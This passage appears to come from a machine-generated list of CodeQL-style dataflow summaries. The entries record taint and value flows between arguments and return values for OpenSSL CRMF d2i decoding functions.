"df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_PKMACVALUE", "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPO", "(OSSL_CRMF_POPO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOPRIVKEY", "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEY", "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", 